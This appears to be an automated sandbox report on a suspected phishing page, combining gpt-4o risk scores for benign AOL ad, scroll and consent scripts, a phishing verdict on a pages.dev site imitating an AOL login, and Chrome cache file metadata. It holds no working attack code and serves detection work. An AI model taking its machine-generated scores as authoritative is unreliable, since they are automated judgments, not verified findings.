(function (window) { var SELECTOR = [ '[data-rapid="true"]', '.content-canvas' ].join(', '); var ID_PREFIX = 'td-app-aol-module'; var getModuleId = (function () { var generatedIdCount = 0; return function (node) { if (!node.hasAttribute('id')) { generatedIdCount++; node.setAttribute('id', ID_PREFIX + '-' + generatedIdCount); } return node.getAttribute('id'); }; })(); if (!window.YAHOO \|\| !window.YAHOO.i13n \|\| !window.YAHOO.i13n.Rapid \|\| !window.rapidConfig) { return; } window.rapidInstance = new window.YAHOO.i13n.Rapid(window.rapidConfig); var customEvent = document.createEvent('CustomEvent'); customEvent.initCustomEvent('rapid:init', false, false, {}); document.dispatchEvent(customEvent); var docIsReady = function (callback) { if (document.readyState === 'complete' \|\| document.readyState === 'interactive') { // call on next available tick setTimeout(callback, 1); } else { document.addEventListener('DOMContentLoaded', callback); } }; docIsReady(function () { window.rapidInstance.addModulesWithViewability( Array.prototype.map.call( document.querySelectorAll(SELECTOR), getModuleId ), false ); }); })(window);
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is primarily concerned with advertisement and tracking configurations. It includes settings for ad rendering, user information for ad targeting, and configurations for various ad bidders. There are no indications of malicious behavior such as data exfiltration, unauthorized access, or code obfuscation. The presence of long random hexadecimal strings and tracking functionality is noted but considered no risk as per the given instructions." }
window.__GAM_CONFIG={"setting":{"renderOnStart":true,"refresh":{"duration":30,"requireUserAction":false,"sameSizeRefresh":true,"limit":30,"tabFocus":{"outOfFocusDuration":3}},"userInfo":{"gender":"","age":-2147483648},"taboolaSetting":{"publisherId":"yahoo-aol-network","pageType":"home","pageTypeValue":"auto"}},"event":{},"feature":{"enableAdStacking":true},"i13n":{"navtype":"server","st_sec":"us.aolportal","ver":"td-app-aol","pl2":"amp-bon","pt":"home","p_sec":"AOL","p_subsec":"homepage","layout":"aolgrid","pct":"aol","site":"aol","mrkt":"us","lang":"en-US","colo":"eu-west-1","_yrid":"30rmpplj4vh3m","_rid":"30rmpplj4vh3m","abk":"","spaceid":"1197803361","lu":"0","bucket":"aol-acookie-control,aol-aa-1","region":"US","device":"desktop"},"prebidSetting":{"pbConfig":{"prebid":{"adUnits":{"us_aol_hp_dt_btm_center":{"pos":3,"formats":{"banner":{"sizes":[[728,90]]}},"bidders":{"yahooPrebidServer":{},"yahooAds":{"dcn":"8a9690350187874cb30f80639700008b","pos":"us_aol_hp_dt_btm_center"},"pubmatic":{"adSlot":"5537303"},"rubicon":{"siteId":"524242","zoneId":"3155206"},"ix":{"siteId":"1057751"},"taboola":{"tagId":"AOL - Homepage - Desktop - Btm_Center","publisherId":"1635762"},"openx":{"unit":"560631622"},"triplelift":{"inventoryCode":"yahoo_aol_hp_center_pb"},"medianet":{"cid":"8CUBQTSIL","crid":"175317715"},"yieldmo":{"placementId":"3492444189092684032"},"criteo":{}}},"us_aol_hp_dt_mid_center":{"pos":3,"formats":{"banner":{"sizes":[[728,90],[970,250]]}},"bidders":{"yahooPrebidServer":{},"yahooAds":{"dcn":"8a9690350187874cb30f80639700008b","pos":"us_aol_hp_dt_mid_center"},"pubmatic":{"adSlot":"5537303"},"rubicon":{"siteId":"524242","zoneId":"3155208"},"ix":{"siteId":"1057752"},"taboola":{"tagId":"AOL - Homepage - Desktop - Mid_Center","publisherId":"1635762"},"openx":{"unit":"560631625"},"triplelift":{"inventoryCode":"yahoo_aol_hp_center_pb"},"medianet":{"cid":"8CUBQTSIL","crid":"705173979"},"yieldmo":{"placementId":"3492444189092684032"},"criteo":{}}},"us_aol_hp_dt_mid_right":{"pos":3,"formats":{"banner":{"sizes":[[300,250],[300,600]]}},"bidders":{"yahooPrebidServer":{},"yahooAds":{"dcn":"8a9690350187874cb30f80639700008b","pos":"us_aol_hp_dt_mid_right"},"pubmatic":{"adSlot":"5537298"},"rubicon":{"siteId":"524242","zoneId":"3155214"},"ix":{"siteId":"1057753"},"taboola":{"tagId":"AOL - Homepage - Desktop - Mid_Right","publisherId":"1635762"},"openx":{"unit":"560631628"},"triplelift":{"inventoryCode":"yahoo_aol_hp_300x250_pb"},"medianet":{"cid":"8CUBQTSIL","crid":"378862467"},"yieldmo":{"placementId":"3492444189092684032"},"criteo":{}}},"us_aol_hp_dt_as_mid_right_a":{"pos":3,"formats":{"banner":{"sizes":[[300,250]]}},"bidders":{"yahooPrebidServer":{},"yahooAds":{"dcn":"8a9690350187874cb30f80639700008b","pos":"us_aol_hp_dt_as_mid_right_a"},"pubmatic":{"adSlot":"5537298"},"ix":{"siteId":"1071755"},"triplelift":{"inventoryCode":"yahoo_aol_ROS_300x250_pb"},"yieldmo":{"placementId":"3492444189092684032"},"criteo":{}}},"us_aol_hp_dt_as_mid_right_b":{"pos":3,"format
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code does not exhibit any malicious behavior. It primarily handles scroll events, DOM manipulation, and conditional class additions based on scroll position and element visibility. There are no indications of phishing, data exfiltration, or other harmful activities." }
(function (window, options) { var scrollOffset = options.sOffset \|\| 100; var videoOffset = options.vOffset \|\| 100; var useStickyRR = options.enableStickyRR \|\| false; var stickyRRMinWidth = options.stickyRRMinWidth \|\| 901; var scrolledClass = 'hasScrolled'; var scrolledVideoClass = 'hasScrolledPastVideoPlayer'; var stickyEnabledClass = 'stickyEnabled'; var stickyRRClass = 'RightRail--sticky'; var stickyBottomClass = 'sticky-bottom'; var docIsReady = function (callback) { if (document.readyState === 'complete' \|\| document.readyState === 'interactive') { setTimeout(callback, 1); } else { document.addEventListener('DOMContentLoaded', callback); } }; var throttleFn = function (callback, time) { if (typeof requestAnimationFrame === 'function') { return function () { requestAnimationFrame(callback); }; } else { var throttling = false; return function () { if (throttling) { return; } throttling = true; setTimeout(function () { callback(); throttling = false; }, time); }; } }; docIsReady(function() { var bodyElem = document.body; var docElem = document.documentElement; var videoElem = document.querySelector('.m-video-wafer'); var rightRailParent = document.querySelector('.RightRail'); var rightRailStack = rightRailParent ? rightRailParent.firstChild : null; var main = document.getElementById('main'); var middle = document.querySelector('.Middle'); var masterWrap = document.querySelector('.Masterwrap'); var footer = document.querySelector('.Footerwrap'); var scrollHandler = throttleFn(function() { var scrollTop = Math.max(bodyElem.scrollTop, docElem.scrollTop); var topOffset = (main && main.offsetTop \|\| 0) + (masterWrap && masterWrap.offsetTop \|\| 0) ; if (scrollTop >= scrollOffset) { docElem.classList.add(scrolledClass); } else { docElem.classList.remove(scrolledClass); } if (videoElem) { var videoRec = videoElem.getBoundingClientRect(); if (videoRec.bottom < (window.innerHeight - videoOffset)) { docElem.classList.add(scrolledVideoClass); } else { docElem.classList.remove(scrolledVideoClass); } } if (useStickyRR && rightRailParent && rightRailStack && stickyRRMinWidth <= window.innerWidth) { docElem.classList.add(stickyEnabledClass); var rrHeight = rightRailStack.offsetHeight; var rrBottom = rrHeight + rightRailStack.offsetTop + topOffset - scrollTop;
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The provided JavaScript code appears to be related to GDPR compliance and consent management functionalities, such as handling 'tcfapi' and 'gpp' frames and events. These functionalities are typically used for managing user consent for data processing and are not inherently malicious. However, the code does interact with iframes and uses postMessage for cross-origin communication, which could potentially be exploited if not implemented securely. Therefore, a low risk score is assigned." }
!function(){var e={604:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e.exports=function(){for(var e,n,a=[],s=window,r=s;r;){try{if(r.frames.__tcfapiLocator){e=r;break}}catch(e){}if(r===s.top)break;r=r.parent}e\|\|(function e(){var t=s.document,n=!!s.frames.__tcfapiLocator;if(!n)if(t.body){var a=t.createElement("iframe");a.style.cssText="display:none",a.name="__tcfapiLocator",t.body.appendChild(a)}else setTimeout(e,5);return!n}(),s.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),s=0;s<e;s++)t[s]=arguments[s];if(!t.length)return a;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,cmpLoaded:!1,cmpStatus:"stub"}):a.push(t)},s.addEventListener("message",(function(e){var n="string"==typeof e.data,a={};if(n)try{a=JSON.parse(e.data)}catch(e){}else a=e.data;var s="object"===t(a)&&null!==a?a.__tcfapiCall:null;s&&window.__tcfapi(s.command,s.version,(function(t,a){var r={__tcfapiReturn:{returnValue:t,success:a,callId:s.callId}};e&&e.source&&e.source.postMessage&&e.source.postMessage(n?JSON.stringify(r):r,"*")}),s.parameter)}),!1))}},5789:function(e,t,n){"use strict";n.r(t),window.__gpp_addFrame=function(e){if(!window.frames[e])if(document.body){var t=document.createElement("iframe");t.style.cssText="display:none",t.name=e,document.body.appendChild(t)}else window.setTimeout(window.__gpp_addFrame,10,e)},window.__gpp_stub=function(){var e=arguments;if(__gpp.queue=__gpp.queue\|\|[],__gpp.events=__gpp.events\|\|[],!e.length\|\|1==e.length&&"queue"==e[0])return __gpp.queue;if(1==e.length&&"events"==e[0])return __gpp.events;var t=e[0],n=e.length>1?e[1]:null,a=e.length>2?e[2]:null;if("ping"===t)n({gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:"hidden",signalStatus:"not ready",supportedAPIs:["2:tcfeuv2","5:tcfcav1","6:uspv1","7:usnatv1","8:uscav1","9:usvav1","10:uscov1","11:usutv1","12:usctv1"],cmpId:0,sectionList:[],applicableSections:[],gppString:"",parsedSections:{}},!0);else if("addEventListener"===t){"lastId"in __gpp\|\|(__gpp.lastId=0),__gpp.lastId++;var s=__gpp.lastId;__gpp.events.push({id:s,callback:n,parameter:a}),n({eventName:"listenerRegistered",listenerId:s,data:!0,pingData:{gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:"hidden",signalStatus:"not ready",supportedAPIs:["2:tcfeuv2","5:tcfcav1","6:uspv1","7:usnatv1","8:uscav1","9:usvav1","10:uscov1","11:usutv1","12:usctv1"],cmpId:0,sectionList:[],applicableSections:[],gppString:"",parsedSections:{}}},!0)}else if("removeEventListener"===t){for(var r=!1,o=0;o<__gpp.events.length;o++)if(__gpp.events[o].id==a){__gpp.events.splice(o,1),r=!0;break}n({eventName:"listenerRemoved",listenerId:a,data:r,pingData:{gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:
URL: https://testing-1g0.pages.dev/ Model: gpt-4o	```json { "phishing_score": 8, "brands": "AOL", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'https://testing-1g0.pages.dev/' does not match the legitimate domain name associated with AOL, which is typically 'aol.com'. The site includes a login form, which is a common feature in phishing sites to capture user credentials. The domain name 'pages.dev' is a generic hosting domain and is not associated with AOL. The use of a well-known brand name (AOL) and the presence of a login form are indicative of social usering techniques often used in phishing attacks." }

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 243

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072399&val=9165965397510453586
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 244

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073061&val=2453272765358793259&gdpr=0&gdpr_consent=&us_privacy=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 245

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3920), with no line terminators
Category:	downloaded
Size (bytes):	3920
Entropy (8bit):	5.0776707896148014
Encrypted:	false
SSDEEP:	48:YozhSx5M2PjYJakqOcyGbmq1Tk0yXD0TtZH/yVL74hk+oy+JZFs2dM+Gbnq1kk0X:3hqjgjq1Tryw//UXqcjGq1krpteCGy
MD5:	2429AF8E863DD0A24A014A7270AEC347
SHA1:	214F5F82D8E8C0E5D9D60607C2DC609BE4C0AC50
SHA-256:	EB27798916686B1D4F0A2C925901767C4C14DC2A2C7B5CEEC0EE959A65AA4296
SHA-512:	68AF9A0E544DCA6E1F9C29B0C50624FA5EAD05D704677174A77F924A478F0930E6BE716B630FCEA0B7343EBE2FB13227266D408E2CCB59E0166855A3AE832266
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-text-1.2.0.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-text"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(o){if(r[o])return r[o].exports;var n=r[o]={i:o,l:!1,exports:{}};return e[o].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,o){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(

Chrome Cache Entry: 246

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2982
Entropy (8bit):	5.426170686290614
Encrypted:	false
SSDEEP:	48:kHbL7Abfmz8GO5bBUGOox1GOGU9dNbHGOh/gr51jGO+om6vAJGOUj5MueOSy9DO1:I7AbeXEBrbxkhYDbmSbT6vAAxUDyP5AN
MD5:	3812AE64996602016E0D6986060895E8
SHA1:	773848C457AF2F8C4C4DE116761F159E95682C05
SHA-256:	D23B3613F59CF2372FAF8DFE0FF4B365E5323501A8F9044E003008E842CDD24B
SHA-512:	BBD0CDE39AEE4349C7EC2BB3A8A7FF4284C6EC517BA90BFBC4ECE3FD8440BC5A6A320AF2BD3F197A08A240F45349C83C12FF4B5D4C16C392DF25D5D0D98182DA
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D
Preview:	<html><head><title></title></head><body>.<img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=" style="display:none;"></iframe>.<img src="https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D" style="display:none;"/>.<img src="https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=" style="display:none;"/>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:

Chrome Cache Entry: 247

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=9165965397510453586
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 248

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	401
Entropy (8bit):	6.968732669281838
Encrypted:	false
SSDEEP:	12:6v/7gDF8aYb3sjiyJSZw+4dsYTm9NWXIvAXkVoYYUPIo:J83bc3OsdsYTUNWXIvykGYYa9
MD5:	41B69908079EAF211484DA57D9E9B6F3
SHA1:	A70824E34A52E883B0C86E4CEE40731D9E50474A
SHA-256:	6D72ED5BA27CD9BFA21ED2C2A42DFFE93F5D1DA6EE5920937C49AD214B0502E2
SHA-512:	11958C84A19B68C63A986233B5C547F4A0B5B7865AB022DEA8F5C7C605436527DCFD14BD5609302CEA3DD63E64C17B569B8B6C72F35FEC9941B2E87CFD484510
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S....PLTEGpL.....................................................qst......... 3>.............,BS...bcc..........'/......z\|\|234...oqp=ZvLLNCED..P.....tRNS....2....<..^....IDAT..].7v.0...R.A.w...%.... ......$Yg..8..4...K.SIJ#\|_..n.(..C^....Q@,Y .B?....r@(......p.^.aX.`..4.~]..]0-..].?Q.....j...=g.rh.....N.\|>.M^7.6.++....}qzN.mO.#J_s/.....;S.8.t.....IEND.B`.

Chrome Cache Entry: 249

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 250

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1281)
Category:	downloaded
Size (bytes):	11629
Entropy (8bit):	5.479336024069981
Encrypted:	false
SSDEEP:	192:B9e4aA4XpbiAWFOpH9AWFOpHlAWFOpH6A4XpbgAWFOpHHAWFOpHSAWFOpHm7zw6H:BI4yQOROlOEqOfO0Oc7zw6yG
MD5:	82D4C0B9C54CF9E6D3D61EA0B97D0E17
SHA1:	01C108186EBFD28DF699366B6316736A7BE4F041
SHA-256:	847B66FD31D597D878308B76534962C6526D1D12FB7BC68FAC42C11D5AB36686
SHA-512:	BA0C351F1F30ECD5077505DD050F9026DDA5F0D81652026AD9DC2703404F7EDC9C55C239CDBCB4EE163E64A33CB506F731B4D035A57C942D5E74CCB44399B9BB
Malicious:	false
Reputation:	low
URL:	https://tb.pbs.yahoo.com/v1/evp/asset?bcid=5afc769f7239855a15fcee15&pid=5afc75ea3a04293dad9f1a1f&secure=true&rssId=42b897a6-9771-3329-b351-69a701a77438&firstVideo=true&height=276&width=368&sid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=39ed8tlj4vh45&licensor_id=a077000000IpoJiAAJ&us_privacy=1YNN&isDockable=false&m.type=VOD&device=desktop&v=1&f=json&s2s=true&gdpr=false&content_len=68&content_title=3+Things+to+Know%3A+Graceland%2C+Prince+William%2C+Barrymore&content_id=6bdcc9b44e4944e0afb2acf2b5e6c7e6&gpp=DBAA&gpp_sid=-1&pver=1.6.29&aver=3.642.0&country=US&state=California&state_code=CA&place=90013&place_type=zip&ad.plseq=1&ad.pct=aol&ad.pl=up&ad.pt=home&ad.pubfamily=aol&pos=preroll&evp=bcp&fmt=vmap&ps=b2be1uzt&r=https%3A%2F%2Fwww.aol.com%2F&givn=[GOOGLE_INSTREAM_VIDEO_NONCE]&pbckt=Treatment_Oath_Player&npa=0&ltd=0&ppid=
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<vmap:VMAP xmlns:vmap="http://www.iab.net/videosuite/vmap" version="1.0">..<vmap:AdBreak breakId="MbMWmwhmnTosXGID" breakType="linear" timeOffset="start">...<vmap:AdSource>....<vmap:VASTAdData>.....<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0" xsi:noNamespaceSchemaLocation="oxml.xsd">......<Ad>.......<Wrapper>........<AdSystem><![CDATA[Ad System </AdSystem>........<VASTAdTagURI><![CDATA[https://pubads.g.doubleclick.net/gampad/ads?iu=/22888152279/us/aol/hp/dt/us_aol_hp_dt_video&plcmt=1&ad_type=video&output=vast&gdfp_req=1&env=vp&sz=640x480&tfcd=0&unviewed_position_start=1&vpa=click&vpmute=0&vpos=preroll&correlator=1716503701396&url=https%3A%2F%2Fwww.aol.com%2F&description_url=https%3A%2F%2Fwww.aol.com%2F&gpp=DBAA&gpp_sid=-1&gdpr=0&gdpr_consent=&us_privacy=1YNN&npa=0&ltd=0&is_lat=0&ppid=&cust_params=lmsid%3Da077000000IpoJiAAJ%26pstaid%3D42b897a6-9771-3329-b351-69a701a77438%26colo%3Dir2%26lang%3Den-US%26s

Chrome Cache Entry: 251

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36072)
Category:	downloaded
Size (bytes):	111364
Entropy (8bit):	5.628712445654467
Encrypted:	false
SSDEEP:	1536:7SQOL6V/E87KFYaW5wZ9Dkxj3KuKnqRByRjQIkjPHoUc6kwUc6v0:GL6P5MRmyRjQIkjPHn
MD5:	68DE4CB2B821183CD473BFE5758BCE92
SHA1:	A402D9D944F578BEEC95D327C4C9D7F9E0A77CCF
SHA-256:	ABB40FD9ED1716A0EC4A556319BDFB4CF9789BFF61837A9391B11F3499062C52
SHA-512:	FA1466B5B7A50E0B3C3F3C6C58E5D6083F1CA41EC62A302AF391F1146B56E24419CA5170C818A2680F514BBD1E490285F17FDADD820DB887E884C0E941375B0C
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/tag/js/gpt.js
Preview:	(function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),t={},ha={},u=function(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},w=function(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in t?f=t:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))brea

Chrome Cache Entry: 252

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	293
Entropy (8bit):	6.4750551588457315
Encrypted:	false
SSDEEP:	6:6v/lhPfUOlSJSSSSaffEX2iIHUk7aZ9mnuWIAJfZ9PXglt532ffcranZCtjp:6v/7/lSJSSSSafP3VK9mnuWh3gp32fzO
MD5:	FB63BB3AD5A7073858B9E60838B00C27
SHA1:	0D97131EB6E06430E5F3814A167FC1CD8221634E
SHA-256:	2BF78EFEABCC4E59EE927E997D3F4F465CBE08C127DC12CF9F10B4E1EAA6FAD2
SHA-512:	D8B6E3CBBC0A7FC2536980F6D524F9DEC169AA50182CE88AA5AC31B8595DAADAB0B24B57E9008B2717227E6260BB28FF38FF54A6F9A2AD3EEACDF534F799E40D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F291fe6d0-1246-11ec-9eb7-5392da65195b&client=76f99bdb8f78cd44cc0b&signature=ef85e8cf2223994c333ea8e9159b98ffe0bc6080
Preview:	.PNG........IHDR.............(-.S...NPLTEGpL......a.........................................l.....x..;..1.."..E..I..C..B1......tRNS.........1...T...\|IDAT..e....1......t..Q>`..........e..... ..X"../.........d.t.G.MEK.:.......X/fexx.j.....w.pH..J...5...O!I..v.6O.......e..........IEND.B`.

Chrome Cache Entry: 253

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072977&val=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 254

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	460608
Entropy (8bit):	7.999606991962459
Encrypted:	true
SSDEEP:	12288:Nqzwqd9YjpYbXIqeWID+mYPeoJWFMei5l:NdqAjpYbXReJHK9JWFMei
MD5:	C5E6DBDF794588241AC1D6849D7C4331
SHA1:	DC9B3F74459897B5D591B0A490642C208B7B32E9
SHA-256:	DB10DB6C818FD277CE96D2446CD235F7739F5BFB6FCA1D6E64DFD3229CD739F2
SHA-512:	992C713EB593A6840CFDDF8672EA284897B2985532AEDA6A085DA3590104FD96DD207D1F582E8B2B414A160A01E93C8D5323BCF25AFEE6726C2EDA45737AED32
Malicious:	false
Reputation:	low
